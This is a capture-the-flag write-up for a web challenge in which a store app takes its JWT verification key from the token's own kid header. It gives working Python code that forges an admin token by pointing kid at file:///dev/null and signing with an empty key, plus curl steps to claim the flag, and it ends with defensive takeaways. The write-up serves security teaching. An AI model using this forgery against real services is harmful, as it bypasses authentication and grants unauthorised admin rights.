Flash CTF - Kidnapped

Kidnapped Writeup

Overview

This is a web challenge built around a JWT authentication bypass. The store app signs and verifies session tokens with a key it loads from a path named in the token's own kid (Key ID) header, instead of a fixed, trusted key. Because the header is attacker-controlled, a player can point kid at a location whose contents they know, forge a token signed with that known value, and set role to admin in the payload — the server will trust the resulting token, elevate the account's balance, and let the player buy the FLAG product.

Background

JWTs carry a header that names how the token was signed — alg, and sometimes kid or jku, meant to let a server pick which of several trusted keys to verify against. The mistake this challenge makes is treating kid as an instruction to fetch and use as the key, rather than as a lookup label into a fixed set the server already controls:

def load_secret_key(PATH):
    return urlopen(PATH).read().strip()


urlopen
accepts arbitrary URL schemes, including file://. Since the verifier resolves kid fresh on every request with no allow-list, whoever controls the JWT header controls which key the server signs and verifies with — a classic CWE-347 (improper verification of cryptographic signature) via key confusion.

Reconnaissance

Registering an account and logging in returns a normal, low-privilege auth_token cookie. Decoding it (without verifying the signature) shows the structure the app expects:

// header
{"alg": "HS256", "kid": "file:///app/keys/secret.txt"}
// payload
{"user_id": 2, "username": "player", "balance": 10, "role": "user", "exp": 1234567890}

The kid in the header is the giveaway: it's a file:// path to a key file on the server's own filesystem, sitting right there in a field the client is allowed to set.

headers = jwt.get_unverified_header(token)
decoded = jwt.decode(token, load_secret_key(headers.get('kid')), algorithms=['HS256'])


jwt_required
in auth.py re-resolves kid from the incoming token on every request — it never checks that the value matches the one the server itself issued.

Exploitation

The fix for load_secret_key would be to ignore kid entirely and always verify against one fixed server-side secret. Since it doesn't, the attack is to hand the verifier a key whose value we already know. urlopen happily serves local files too, and /dev/null is guaranteed to exist and be empty in the container — so pointing kid at file:///dev/null makes the "secret" an empty byte string, one we can trivially sign with ourselves.

Starting from a legitimate token (register + log in), the payload is decoded without verifying the old signature, role is bumped to admin, and the header's kid is swapped to file:///dev/null:

jwt_headers = jwt.get_unverified_header(token)
jwt_headers["kid"] = "file:///dev/null"

jwt_payload = jwt.decode(token, algorithms="HS256", options={"verify_signature": False})
jwt_payload["role"] = "admin"

forged = jwt.encode(jwt_payload, key=b"", algorithm="HS256", headers=jwt_headers)

The server receives this cookie, resolves kid, reads /dev/null (empty), and verifies the signature against b"" — which matches, because that's exactly what we signed with. jwt_required then sees role == "admin" and bumps the session balance to 31337, reissuing a fresh admin-role token for the rest of the session.

Getting the Flag

With an admin-balance session cookie in hand, add the FLAG product (seeded as product id 21) to the cart and check out — the server reveals the flag in the flash message once the purchase clears:

curl -s -c cookies.txt -b cookies.txt -X POST http://<host>/register \
  -d 'username=player&password=pw&confirm_password=pw'
curl -s -c cookies.txt -b cookies.txt -X POST http://<host>/login \
  -d 'username=player&password=pw'
# forge the admin cookie as shown above, then:
curl -s -c cookies.txt -b cookies.txt -X POST http://<host>/add_to_cart/21 -d 'quantity=1'
curl -s -c cookies.txt -b cookies.txt -X POST http://<host>/checkout -d 'currency=USD&coupon='

The checkout response contains MetaCTF{JWT_K1D_3xpl01t}.

Key Takeaways

  • Never let a token's own header decide which key verifies it — pin verification to a fixed, server-controlled key or a strict allow-list of key IDs.
  • kid/jku/jwk-style headers are a common JWT footgun (CWE-347) — any function that resolves them from a URL, path, or file needs to reject attacker input outright.
  • Defense in depth matters even after that fix: nothing here re-checks that role escalation in the payload is legitimate once the signature "checks out".

Interested in joining our team? Let’s connect!